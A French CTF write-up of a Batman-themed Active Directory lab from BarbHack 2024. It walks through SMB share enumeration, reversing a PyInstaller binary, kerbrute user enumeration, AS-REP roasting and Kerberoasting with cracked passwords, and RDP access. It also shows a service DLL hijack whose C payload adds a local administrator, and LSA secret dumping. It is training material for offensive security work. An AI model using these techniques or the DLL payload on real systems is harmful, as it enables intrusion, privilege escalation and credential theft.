TL;DR

Notre équipe composée de membres de offenskill(Laluka), besecure(Kevin Mizu), Ooggle et bien évidement acceis(Ryzzen,TRIKKSS,Vozec, et bien évidemment votre seigneur KlemouLeZoZo) a remporté la première place.

Contexte

À la BarbHack 2024, mpgn connu pour avoir lancé le développement de nxc, aka l’ultime banger, a créé un Lab Windows pour le CTF. C’est assez rare pour le souligner, peu de CTF prennent le risque de proposer des challenges Active Directory à cause du temps demandé à la mise en place ainsi que de l’infrastructure nécessaire. Le challenge était sympathique et bien adapté au format de la compétition.

Reconnaissance

Dans un premier temps, il est essentiel de procéder à une phase de reconnaissance. Dans les environnements Windows, une bonne pratique consiste à débuter par un scan SMB. Ce service est en effet généralement exposé par défaut dans les architectures Active Directory, contrairement au protocole ICMP, souvent bloqué par les configurations par défaut des pare-feu.

SMB         10.2.10.10      445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:GOTHAM.CITY) (signing:True) (SMBv1:False)
SMB         10.2.10.12      445    SRV02            [*] Windows Server 2022 Build 20348 x64 (name:SRV02) (domain:GOTHAM.CITY) (signing:False) (SMBv1:False)
SMB         10.2.10.11      445    SRV01            [*] Windows Server 2022 Build 20348 x64 (name:SRV01) (domain:GOTHAM.CITY) (signing:False) (SMBv1:False)

Le lab est constitué de trois machines sous Windows Server 2022 : deux serveurs classiques et un contrôleur de domaine. Ce dernier est facilement identifiable, notamment grâce à son nom explicite et à la présence du paramètre signing activé (valeur à True), caractéristique typique d’un contrôleur de domaine (DC).

En l’absence de comptes utilisateurs, nos possibilités d’action sont limitées. Une des premières étapes consiste donc à identifier d’éventuels partages réseau accessibles en lecture anonyme, ce qui peut permettre de recueillir des informations sans authentification préalable.

$ smbclient -N -L \\\\SRV01.GOTHAM.CITY

    Sharename       Type      Comment
    ---------       ----      -------
    ADMIN$          Disk      Remote Admin
    C$              Disk      Default share
    CleanSlate      Disk      Basic RW share for all
    IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.

Le partage réseau nommé CleanSlate est accessible en lecture avec un compte guest.

 smbclient -N  \\\\SRV01.GOTHAM.CITY\\CleanSlate
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue May 20 21:01:34 2025
  ..                                DHS        0  Tue May 20 21:01:47 2025
  cleanslate.exe                      A 10510609  Tue May 20 21:01:33 2025

        65535487 blocks of size 4096. 62570394 blocks available

$ smb: \> get cleanslate.exe
getting file \cleanslate.exe of size 10510609 as cleanslate.exe (34328.6 KiloBytes/sec) (average 34328.7 KiloBytes/sec)

Le partage contient l’exécutable cleanslate.exe. Nous entamons donc ce lab par une phase de rétro. La première étape consiste à identifier le langage de programmation utilisé pour développer ce binaire.

Warning: L’exécutable du lab n’est pas le même que lors de l’événement BarbHack2024 en effet certaines chaines de caractères sont manquantes, j’ai donc choisi d’utiliser le binaire original issu de l’événement.

$ strings ./cleanslate.exe | grep python
pyi-python-flag
Failed to pre-initialize embedded python interpreter!
Failed to allocate PyConfig structure! Unsupported python version?
Failed to set python home path!
Failed to start embedded python interpreter!
pygments.lexers.python)
bpython311.dll
7python311.dll

L’analyse des chaînes de caractères extraites de l’exécutable révèle plusieurs occurrences explicites liées à Python, telles que pyi-python-flag, bpython311.dll ou encore Failed to start embedded python interpreter!. Ces éléments suggèrent fortement qu’il s’agit d’un programme Python compilé, très probablement à l’aide de PyInstaller.

Rétro chemin pédestre

La première étape consiste à extraire les fichiers Python compilés contenus dans l’exécutable au format PE.

$ git clone https://github.com/extremecoders-re/pyinstxtractor.git
Cloning into 'pyinstxtractor'...
remote: Enumerating objects: 209, done.
remote: Counting objects: 100% (91/91), done.
remote: Compressing objects: 100% (44/44), done.
remote: Total 209 (delta 60), reused 48 (delta 47), pack-reused 118 (from 2)
Receiving objects: 100% (209/209), 73.94 KiB | 2.74 MiB/s, done.
Resolving deltas: 100% (100/100), done.

$ cd pyinstxtractor
$ python3 ./pyinstxtractor.py ../cleanslate.exe
[+] Processing ../cleanslate.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.11
[+] Length of package: 10172177 bytes
[+] Found 26 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: cleanslate.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.11 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: ../cleanslate.exe

You can now use a python decompiler on the pyc files within the extracted directory

Les fichiers .pyc extraits doivent être décompilés pour permettre une analyse du code source. Une solution en ligne efficace pour ce type d’opération est pylingual.io. Cependant, au moment de la rédaction de ces lignes, le site n’était pas accessible. J’ai donc opté pour l’outil du même nom disponible sur GitHub. Bien qu’il offre des fonctionnalités similaires, ses résultats se sont révélés moins fiables que ceux de la version en ligne.

$ git clone https://github.com/syssec-utd/pylingual.git
Cloning into 'pylingual'...
remote: Enumerating objects: 233, done.
remote: Counting objects: 100% (233/233), done.
remote: Compressing objects: 100% (146/146), done.
remote: Total 233 (delta 95), reused 221 (delta 86), pack-reused 0 (from 0)
Receiving objects: 100% (233/233), 903.16 KiB | 8.68 MiB/s, done.
Resolving deltas: 100% (95/95), done.
$ cd pylingual
$ python3 -m venv .
$ source ./bin/activate
$ pip install .
Processing /home/klemou/Ctf/barbhack/writeup/pylingual
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
  Preparing metadata (pyproject.toml) ... done
Collecting asttokens (from pylingual==0.0.1)
  Downloading asttokens-3.0.0-py3-none-any.whl.metadata (4.7 kB)
Collecting click (from pylingual==0.0.1)
  Using cached click-8.2.0-py3-none-any.whl.metadata (2.5 kB)
Collecting datasets (from pylingual==0.0.1)
...

$ ./bin/pylingual ../pyinstxtractor/cleanslate.exe_extracted/cleanslate.pyc
FUCKING BLACK MAGIE

Le code obtenu après décompilation est partiellement obfusqué, ce qui complique sa lecture. Toutefois, certaines chaînes de caractères restent lisibles. L’une d’elles retient particulièrement l’attention : "If any error contact this person: lucius.fox1337 this man is known for his careless style!"
Le nom d’utilisateur lucius.fox1337 pourra s’avérer très utile pour la suite de l’analyse.

from rich.progress import Progress
import time
import os
import base64
print('\n\n                   ..oo$00ooo..                    ..ooo00$oo..\n                .o$$$$$$$$$\'                          \'$$$$$$$$$o.\n             .o$$$$$$$$$\"             .   .              \"$$$$$$$$$o.\n           .o$$$$$$$$$$~             /$   $\\              ~$$$$$$$$$$o.\n         .{$$$$$$$$$$$.              $\\___/$               .$$$$$$$$$$$}.\n        o$$$$$$$$$$$$8              .$$$$$$$.               8$$$$$$$$$$$$o\n       $$$$$$$$$$$$$$$              $$$$$$$$$               $$$$$$$$$$$$$$$\n      o$$$$$$$$$$$$$$$.             o$$$$$$$o              .$$$$$$$$$$$$$$$o\n      $$$$$$$$$$$$$$$$$.           o{$$$$$$$}o            .$$$$$$$$$$$$$$$$$\n     ^$$$$$$$$$$$$$$$$$$.         J$$$$$$$$$$$L          .$$$$$$$$$$$$$$$$$$^\n     !$$$$$$$$$$$$$$$$$$$$oo..oo$$$$$$$$$$$$$$$$$oo..oo$$$$$$$$$$$$$$$$$$$$$!\n     {$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$}\n     6$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$?\n     \'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\'\n      o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o\n       $$$$$$$$$$$$$$;\'~`^Y$$$7^\'\'o$$$$$$$$$$$o\'\'^Y$$$7^`~\';$$$$$$$$$$$$$$$\n       \'$$$$$$$$$$$\'       `$\'    `\'$$$$$$$$$\'     `$\'       \'$$$$$$$$$$$$\'\n        !$$$$$$$$$7         !       \'$$$$$$$\'       !         V$$$$$$$$$!\n         ^o$$$$$$!                   \'$$$$$\'                   !$$$$$$o^\n           ^$$$$$\"                    $$$$$                    \"$$$$$^\n             \'o$$$`                   ^$$$\'                   \'$$$o\'\n               ~$$$.                   $$$.                  .$$$~\n                 \'$;.                  `$\'                  .;$\'\n                    \'.                  !                  .`\n\n')

def shift_char(c, shift):
    """Shift character by shift amount."""  # inserted
    if c.isalpha():
        shift_amount = shift + 26
        base = 'A' if c.isupper() else 'a'
        return (chr | ord(c) | ord(base), shift_amount + 26, ord(base))((<Code311 code object main at 0x72e8e8e8e5d0, file cleanslate.py>, line 79, __main__, Progress, rich.progress, time, os, base64, print, <mask_15>, KEY_FILE, KEY, <mask_18>, <mask_19>, <mask_20>, __name__, <module>, Shift character by shift amount., 26, A, a, 10, 0, isalpha, isupper, chr, ord, isdigit, c, shift, shift_amount, base, shift_char, r, True, 24, GOTHAMCITY, False, path, exists, open, read, strip, len, input_key, file, stored_key, is_valid_key, 3, , <Code311 code object <genexpr> at 0x72e8e8e8ea80, file cleanslate.py>, line 71, (-1), b64decode, decode, join, encoded_flag, decoded_bytes, decoded_flag, reversed_shifted_flag, original_flag, cleaning, .0, <genexpr>, Enter your key: , Key is valid! Cleaning data..., [green]Processing..., 100, 0.05, 1, Process completed! Flag:, If any error contact this person: lucius.fox1337 this man is known for is careless style !, Invalid key. Please try again., total, advance, input, add_task, range, sleep
    else:  # inserted
        if c.isdigit():
            shift_amount = shift + 10
            return (chr | ord(c) | ord('0'), shift_amount | 10)(ord('0') + <Code311 code object main at 0x72e8e8e8e5d0, file cleanslate.py>, line 79)
        else:  # inserted
            return c
KEY_FILE = 'C:\\SHARE\\key.txt'
KEY = 'fTk1NmRkMDQ2MDBpNjdnZDU0Z2dlMjdoNDNlZjJlNzFme2V1ZQ=='

def is_valid_key(input_key):
    pass  # cflow: irreducible

def cleaning(encoded_flag):
    decoded_bytes = base64.b64decode(encoded_flag)
    decoded_flag = decoded_bytes.decode()
    shift = 3
    reversed_shifted_flag = ''.join((shift_char(c, -shift) for c in decoded_flag))
    original_flag = reversed_shifted_flag[::(-1)]
    return original_flag

def main():
    pass  # cflow: irreducible
if __name__ == '__main__':
    main()

La fonction chargée de décoder le flag a été entièrement reconstruite lors de la décompilation. Son fonctionnement est limpide et il suffit désormais de l’appeler en lui fournissant la clé appropriée en paramètre pour obtenir le flag.

print(cleaning(KEY)) # brb{c84b9cb01e49bdd12ad43f77317aa326}

Rétro analyse dynamique

En tant que personne simple qui aime les choses simples, je privilégie les analyses dynamiques permettant de résoudre le problème beaucoup plus rapidement qu’une étude statique.
Procmon est un outil de monitoring qui permet d’observer en temps réel les accés aux ressources système. En appliquant un filtre sur le nom du processus ciblé, il devient possible de tracer l’ensemble des accès aux ressources de l’OS effectués par celui-ci, ce qui facilite grandement l’analyse dynamique du comportement du binaire.

L’analyse avec Procmon révèle une tentative d’accès à une ressource inexistante : C:\Share\key.txt. Cette observation suggère que le programme attend la présence de ce fichier. Il est alors possible de créer manuellement le fichier, d’y insérer une clé, puis de relancer l’exécutable afin d’observer son comportement avec cette entrée.

Premier Utilisateur

Au vu des éléments déjà collectés, il apparaît clairement que le lab est construit autour de l’univers de Batman. Il est donc raisonnable de supposer que les noms d’utilisateurs suivent cette thématique. À partir de cette hypothèse, nous pouvons générer une wordlist ciblée en incluant notamment le nom d’utilisateur précédemment identifié (lucius.fox1337). Pour cela, nous allons utiliser l’outil le plus adapté à la situation, aka ChatGPT.

$ fait moi une wordlist d'utilisateur dans le themes de batman

brucewayne
...
batcave

Une fois la wordlist générée, il devient possible d’identifier les utilisateurs valides en exploitant les différences de messages d’erreur lors d’une tentative de demande de TGT (Ticket Granting Ticket). Pour cela, l’outil Kerbrute s’avère particulièrement adapté.

Kerbrute fonctionne en interrogeant le service Kerberos d’un contrôleur de domaine. Lorsqu’un nom d’utilisateur inexistant est soumis, le serveur renvoie une erreur explicite de type KDC_ERR_C_PRINCIPAL_UNKNOWN. En revanche, si l’utilisateur existe mais que le mot de passe est incorrect, le message d’erreur sera différent, ce qui permet de distinguer les comptes valides sans connaître les mots de passe.

$ ./kerbrute_linux_amd64 userenum user.txt -d GOTHAM.CITY  --dc DC01.GOTHAM.CITY

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 05/21/25 - Ronnie Flathers @ropnop

2025/05/21 01:17:03 >  Using KDC(s):
2025/05/21 01:17:03 >      DC01.GOTHAM.CITY:88

2025/05/21 01:17:03 >  [+] VALID USERNAME:     lucius.fox1337@GOTHAM.CITY
2025/05/21 01:17:03 >  [+] VALID USERNAME:     joker@GOTHAM.CITY
2025/05/21 01:17:03 >  [+] VALID USERNAME:     scarecrow@GOTHAM.CITY
2025/05/21 01:17:03 >  [+] VALID USERNAME:     bane@GOTHAM.CITY
2025/05/21 01:17:03 >  Done! Tested 62 usernames (4 valid) in 0.024 seconds

Grâce à la wordlist générée avec l’aide de ChatGPT, nous avons identifié trois noms d’utilisateurs valides : joker, scarecrow et bane. Toutefois, à ce stade, notre champ d’action reste limité en l’absence de mots de passe. Une étape pertinente consiste alors à vérifier si l’option de pré-authentification Kerberos est désactivée pour l’un de ces comptes.

Pour cela, nous utilisons l’outil GetNPUsers.py de la suite Impacket, qui permet de demander un ticket TGT sans fournir de mot de passe lorsque la pré-authentification est désactivée. Si c’est le cas, le ticket retourné pourra être soumis à une attaque offline (via Hashcat ou John) pour tenter de retrouver le mot de passe en clair.

$ GetNPUsers.py GOTHAM.CITY/lucius.fox1337  -no-pass
Impacket v0.13.0.dev0+20250508.104819.fde4265a - Copyright Fortra, LLC and its affiliated companies

[*] Getting TGT for lucius.fox1337
$krb5asrep$23$lucius.fox1337@GOTHAM.CITY:df490bd12eaf4a4322c520a69f0175d2$13b6f47806f070bd6fb136dc3d5b2fb841308b19e17f3246e6d467e82b0606babb643f36c6a2737da67b5b9ae754e2f3ba9411dd9fe3145cbacabdabc72dbfbee8ae7b19e4d45ae2c59a6554f4d48ee3d89add776efef004b8b5b248fef62da5a384a611752e2328a951b4e387f5f96575a33fe43781ee16e8b125b300f94e621c9203286e4003ab3bbfb75de6227a6faabe3b39857a3a8f31ee7d7ccbc0381d9b4f6cc8b667609285438e025c15ccacbf07c264666e02f8378b688a42c08ac1d591aa537d02cca7be39a352f08cde97cb9d9d2abb31dc93161e7660e60271f0337f7f7cf93ee15f3607

Le compte lucius.fox1337 a été identifié comme ayant la pré-authentification Kerberos désactivée. Nous avons pu récupérer un ticket AS-REP au format ($krb5asrep$).
Ce ticket a ensuite été soumis à John The Ripper avec le wordlist rockyou.txt.

$ john  --wordlist=/usr/share/dict/rockyou.txt ./lucius.hash

Warning: detected hash type "krb5asrep", but the string is also recognized as "krb5asrep-aes-opencl"
Use the "--format=krb5asrep-aes-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:12 DONE (2025-05-21 01:25) 0g/s 1134Kp/s 1134Kc/s 1134KC/s !!cookiedough..clarus
Session completed

Cependant, le mot de passe n’a pas été trouvé dans le dictionnaire.

En septembre 2022, il a été démontré qu’il est possible de récupérer un ticket de service (TGS) directement via une requête AS-REQ, en ciblant un compte vulnérable à l’AS-REP Roasting (pré-authentification désactivée) et en connaissant au préalable un ou plusieurs SPN valides dans le domaine (article). Contrairement à la méthode classique, cette technique ne nécessite pas d’obtenir un TGT au préalable, ce qui permet de mener une attaque de type Kerberoasting sans authentification préalable.

$ GetUserSPNs.py  -no-preauth "lucius.fox1337" -usersfile ./valid_user.txt  GOTHAM.CITY/
Impacket v0.13.0.dev0+20250508.104819.fde4265a - Copyright Fortra, LLC and its affiliated companies

[-] Principal: lucius.fox1337 - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$23$*joker$GOTHAM.CITY$joker*$9d0261b3560f741a8245f4bf546c0e37$a2ceaab9b1d04b2c1549aba955936be3fc6d5b8b59ad5f93a58dd83323583532bad2b5d30be915c8df403909ddf4d6183f4485375b88d726a819eb92823adabb5d5810ea252d53818479bc7b1a76ebbcec6efc3f82b2dd0546334bdd1e9eb9b857a6c8926011336eb9c5ef2ca6f7ed8401179892fdbf467bba5d1681dcc343d0249e5f49b405673427afd74405e82e4e1de3410af99c1dc2917c1999a78182d99ecd6fd60e2f390d45a4ffe453dd9b001eb6ef8f068d9aa4cd4bd09459624670714ae4863abae30e711a0f9cf295ca5f3a7ab2670de5c71e80dd67aa34e670bfda213f3fca90682ad8e9e5e01927b67dfc369144f9f54d9fdc00936c036deb113465a0aa2646db4b230d49a2d52a6075e6477cc96e111fd01885b8fcd349f329e929f313ee983da5c4eb2ae5a8e55099e47731a72e8fc8026174bb301eee2c5507a7c42deb07e02926a2cef13028cf114384d0afe508cd241f50ca3ff58760c7dfc0ad03b8b4fcf90c97250668e7131311ed8100bb08a1d1e948483fc36bcb686f1ae7b1a06acb3e66a73d4644e942a6f9230ed36b978b5701748f84c13e2009d01ae1648bcaaa5eb9089255321131bb8d8a99a6094507f542c7aa3c6cd463f2388c0dd2de050fdd09ecb5497ec8d496b47067ca646cd659a68ee01c50cea76fa3b26335db88a3261cd9290dc06dc362641ca1fd46cef72c8fd602412bfacf6a14c4429fca76f587942d6c31cc9a83a4fc695dc153a79079d51e755dce97e4466fb6bbf42d267bcd92c84df7bb5e77028a48999e3b32e4db8d04204777017d347a1f77749811bec430b85e3808aa4816a45c5cae344e7a10359add398b65397cf0867f9e91f24c30d21b147331174d87344082656edd100ed1720ad089b49a21f440b4e0834bbc1cc53ed694616c3b76e72fec53c85c5d628604e769abe942f76a0c0a97e79d6a086d755e72239d08b501b2cbf3b193335cd91af3146782aada5099411187caecbb336866721a3dfd14be545524b7f66d123cf361974537fd1ffb08e0d38e4f3b0658058093013e723348ebcc139fea7a81d11696bcf9e664a9bd91312e597f4f2cdd87612454694ad78befcfc5f9d3b923712bc04eacda8093f63a17e07c5bef78902eeedc1119b74f2c6a194898e9826da600fb673abf927ace1357af4ab172fa1a6fc03fe29b4d730db812063b99ee8bfdb825965e12a7214d47f04b440ebd5288191bfe3e9a3676d368ce89955de58d51960e9537fd4ca9b215d62b84d6b9b31a3445548c1a8454620e9f9505a7e34455ac08287a98e06a43361b944c944ec301a5da6c71c4917063a4f06510cbb28c62f252b9849881b4db288abbe9650ed3e97afbb9bd9e443e519044213104ab5acea7e71561608cd35f7f7b456a9240fd47610b28bb290143373931dbff396b6256e7
[-] Principal: scarecrow - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: bane - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal:  - invalid principal syntax

Grâce à la commande GetUserSPNs.py et à l’option --no-preauth, nous avons pu identifier un SPN exposé pour l’utilisateur joker, sans nécessiter de s’authentifier.

Une fois le ticket de service (TGS) récupéré, celui-ci a été cassé avec John The Ripper et le dictionnaire rockyou.txt. La magie opère rapidement : le mot de passe de l’utilisateur joker est retrouvé en quelques secondes.

$ john  --wordlist=/usr/share/dict/rockyou.txt ./joker.hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<3batman0893     (?)
1g 0:00:00:05 DONE (2025-05-21 01:28) 0.1838g/s 2111Kp/s 2111Kc/s 2111KC/s =-=131931..;vdl;vdl
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Nous disposons désormais d’un premier jeu d’identifiants valides : utilisateur joker avec le mot de passe <3batman0893.

Énumération

Un bon réflexe à adopter une fois un accès authentifié obtenu consiste à cartographier les permissions et les relations au sein de l’Active Directory. Pour cela, BloodHound reste une référence incontournable.

Dans ce contexte, RustHound constitue une excellente alternative au collector classique. Rapide et compatible avec les environnements Linux, il permet de collecter efficacement les données LDAP nécessaires à l’analyse, sans dépendre d’un poste Windows.

$ rusthound-ce -u joker@GOTHAM.CITY -p '<3batman0893' -d GOTHAM.CITY -i DC01.GOTHAM.CITY -z
---------------------------------------------------
Initializing RustHound-CE at 01:31:20 on 05/21/25
Powered by @g0h4n_0
Special thanks to NH-RED-TEAM
---------------------------------------------------

[2025-05-20T23:31:20Z INFO  rusthound_ce] Verbosity level: Info
[2025-05-20T23:31:20Z INFO  rusthound_ce] Collection method: All
[2025-05-20T23:31:20Z INFO  rusthound_ce::ldap] Connected to GOTHAM.CITY Active Directory!
[2025-05-20T23:31:20Z INFO  rusthound_ce::ldap] Starting data collection...
[2025-05-20T23:31:20Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-05-20T23:31:20Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=GOTHAM,DC=CITY
[2025-05-20T23:31:20Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-05-20T23:31:20Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=GOTHAM,DC=CITY
[2025-05-20T23:31:20Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-05-20T23:31:20Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=GOTHAM,DC=CITY
[2025-05-20T23:31:20Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-05-20T23:31:20Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=GOTHAM,DC=CITY
[2025-05-20T23:31:20Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-05-20T23:31:20Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=GOTHAM,DC=CITY
[2025-05-20T23:31:20Z INFO  rusthound_ce::json::parser] Starting the LDAP objects parsing...
[2025-05-20T23:31:20Z INFO  rusthound_ce::objects::domain] MachineAccountQuota: 10
[2025-05-20T23:31:21Z INFO  rusthound_ce::json::parser] Parsing LDAP objects finished!
[2025-05-20T23:31:21Z INFO  rusthound_ce::json::checker] Starting checker to replace some values...
[2025-05-20T23:31:21Z INFO  rusthound_ce::json::checker] Checking and replacing some values finished!
[2025-05-20T23:31:21Z INFO  rusthound_ce::json::maker::common] 30 users parsed!
[2025-05-20T23:31:21Z INFO  rusthound_ce::json::maker::common] 60 groups parsed!
[2025-05-20T23:31:21Z INFO  rusthound_ce::json::maker::common] 3 computers parsed!
[2025-05-20T23:31:21Z INFO  rusthound_ce::json::maker::common] 1 ous parsed!
[2025-05-20T23:31:21Z INFO  rusthound_ce::json::maker::common] 3 domains parsed!
[2025-05-20T23:31:21Z INFO  rusthound_ce::json::maker::common] 2 gpos parsed!
[2025-05-20T23:31:21Z INFO  rusthound_ce::json::maker::common] 73 containers parsed!
[2025-05-20T23:31:21Z INFO  rusthound_ce::json::maker::common] .//20250521013121_gotham-city_rusthound-ce.zip created!

RustHound-CE Enumeration Completed at 01:31:21 on 05/21/25! Happy Graphing!

Une fois l’archive zip générée par RustHound récupérée, il suffit de lancer l’interface BloodHound pour l’analyser. L’option la plus simple et portable consiste à utiliser le fichier docker-compose.yml disponible sur le dépôt officiel BloodHound – SpecterOps.

SRV01

L’utilisateur joker ne dispose pas de privilèges administrateur sur les serveurs du lab. Il est donc pertinent de tester l’accès aux protocoles d’administration classiques, tels que RDP (Remote Desktop Protocol) et WinRM (Windows Remote Management), afin de déterminer s’il est possible d’obtenir un shell distant ou d’interagir directement avec les machines via des canaux légitimes.

$ nxc rdp 10.2.10.0/24 -u joker -p '<3batman0893'
RDP         10.2.10.12      3389   SRV02            [*] Windows 10 or Windows Server 2016 Build 20348 (name:SRV02) (domain:GOTHAM.CITY) (nla:True)
RDP         10.2.10.10      3389   DC01             [*] Windows 10 or Windows Server 2016 Build 20348 (name:DC01) (domain:GOTHAM.CITY) (nla:True)
RDP         10.2.10.11      3389   SRV01            [*] Windows 10 or Windows Server 2016 Build 20348 (name:SRV01) (domain:GOTHAM.CITY) (nla:True)
RDP         10.2.10.12      3389   SRV02            [+] GOTHAM.CITY\joker:<3batman0893
RDP         10.2.10.10      3389   DC01             [+] GOTHAM.CITY\joker:<3batman0893
RDP         10.2.10.11      3389   SRV01            [+] GOTHAM.CITY\joker:<3batman0893 (Pwn3d!)

Les tests d’accès via les protocoles d’administration ont permis d’identifier une configuration permissive : une connexion RDP est possible avec les identifiants de l’utilisateur joker sur la machine SRV01.GOTHAM.CITY.

SRV01 escalation de privilège

L’accès RDP obtenu nous place dans le contexte d’un utilisateur standard, sans privilèges particuliers. Une élévation de privilège sera donc nécessaire pour progresser.

Pour cela, l’outil PrivescCheck, développé par itm4n, s’avère particulièrement adapté. Il permet d’automatiser de nombreux contrôles et génère un rapport HTML clair et lisible, bien plus accessible qu’une sortie texte brute.

powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Audit -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML,CSV,XML"

Le rapport HTML révèle que l’utilisateur a des droits d’écriture dans le répertoire où se trouve le binaire du service WayneService.

Une analyse dynamique de wayne.exe, conduite selon la même méthodologie que précédemment, met en évidence une tentative de chargement d’une bibliothèque nommée alfred.dll. Cette DLL est cependant absente du système, ce qui laisse entrevoir une opportunité d’hijacking de DLL.

À l’aide de la commande suivante, nous identifions le compte d’exécution du service

PS C:\Wayne> Get-WmiObject Win32_Service -Filter "Name='wayneservice'" | Select-Object Name, StartName, State, Status | Format-Table -AutoSize

Name         StartName   State   Status
----         ---------   -----   ------
WayneService LocalSystem Stopped OK

Le résultat confirme que le service est exécuté sous le compte SYSTEM, ce qui signifie que toute DLL chargée par ce service sera exécutée avec des privilèges système, offrant ainsi un vecteur d’élévation de privilèges fiable.

Nous allons donc créer une DLL nommée alfred.dll qui, une fois chargée, ajoutera un utilisateur local klemou avec le mot de passe Chevalo123, puis l’intégrera au groupe local administrators.

#include <windows.h>

void payload()
{
  system("net user klemou Chevalo123 /add");
  system("net localgroup Administrators klemou /add");
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
  payload();
  switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
      break;
    case DLL_THREAD_ATTACH:
      break;
    case DLL_THREAD_DETACH:
      break;
    case DLL_PROCESS_DETACH:
      break;
    }
  return TRUE;
}

La compilation de la DLL depuis un environnement Linux peut être réalisée à l’aide de MinGW avec la commande suivante :

$ x86_64-w64-mingw32-gcc -shared test.c -o alfred.dll

Il suffit ensuite de copier la DLL dans le répertoire du service WayneService, puis de redémarrer ce dernier pour déclencher l’exécution.

Pour faciliter le transfert du fichier, un partage SMB a été mis en place à l’aide d’Impacket :

$ smbserver.py -smb2support MAGIE /tmp

Ce serveur permet à la machine Windows de récupérer la DLL directement via le réseau.

PS C:\Wayne> cp \\192.168.1.105\MAGIE\alfred.dll .

La copie s’effectue sans encombre, comme le confirme la commande dir :

PS C:\Wayne> dir

    Directory: C:\Wayne

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         5/21/2025  11:41 AM         114057 alfred.dll
-a----         5/20/2025   3:01 PM         115712 wayne.exe

Une fois la DLL en place, nous tentons de démarrer le service :

PS C:\Wayne> net start WayneService
The service is not responding to the control function.

More help is available by typing NET HELPMSG 2186.

Bien que le service ne réponde pas correctement (probablement à cause de notre DLL artisanale), l’objectif est atteint : le code contenu dans la DLL a été exécutée. Pour le vérifier, il suffit d’inspecter les comptes utilisateurs du système :

PS C:\Wayne> net user

User accounts for \\SRV01

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
klemou                   localuser                WDAGUtilityAccount
The command completed successfully.

PS C:\Wayne> net user klemou
User name                    klemou
...
Local Group Memberships      *Administrators       *Users
Global Group memberships     *None
The command completed successfully.

Bingo. Le compte klemou est bien présent. Une inspection plus détaillée confirme que ce compte est Administrateur local de la machine.

SRV01 post-exploitation

À ce stade, le compte administrateur local klemou, précédemment créé via la DLL malveillante, peut être utilisé pour accéder à des ressources sensibles sur la machine SRV01.

Une action classique en post-exploitation consiste à extraire les secrets LSA, qui peuvent contenir des hashes et parfois même des mots de passe en clair de compte de service.

$ nxc smb SRV01.GOTHAM.CITY -u klemou -p Chevalo123 --local-auth --lsa
SMB         10.2.10.11      445    SRV01            [*] Windows Server 2022 Build 20348 x64 (name:SRV01) (domain:SRV01) (signing:False) (SMBv1:False)
SMB         10.2.10.11      445    SRV01            [+] SRV01\klemou:Chevalo123 (Pwn3d!)
SMB         10.2.10.11      445    SRV01            [+] Dumping LSA secrets
SMB         10.2.10.11      445    SRV01            GOTHAM.CITY/Administrator:$DCC2$10240#Administrator#39485ed3512c727dd30b8f5dccd81131: (2025-05-20 19:10:24)
SMB         10.2.10.11      445    SRV01            GOTHAM.CITY/joker:$DCC2$10240#joker#e7d14d706a6a8a40939f0b5ed6fa4db1: (2025-05-21 15:31:03)
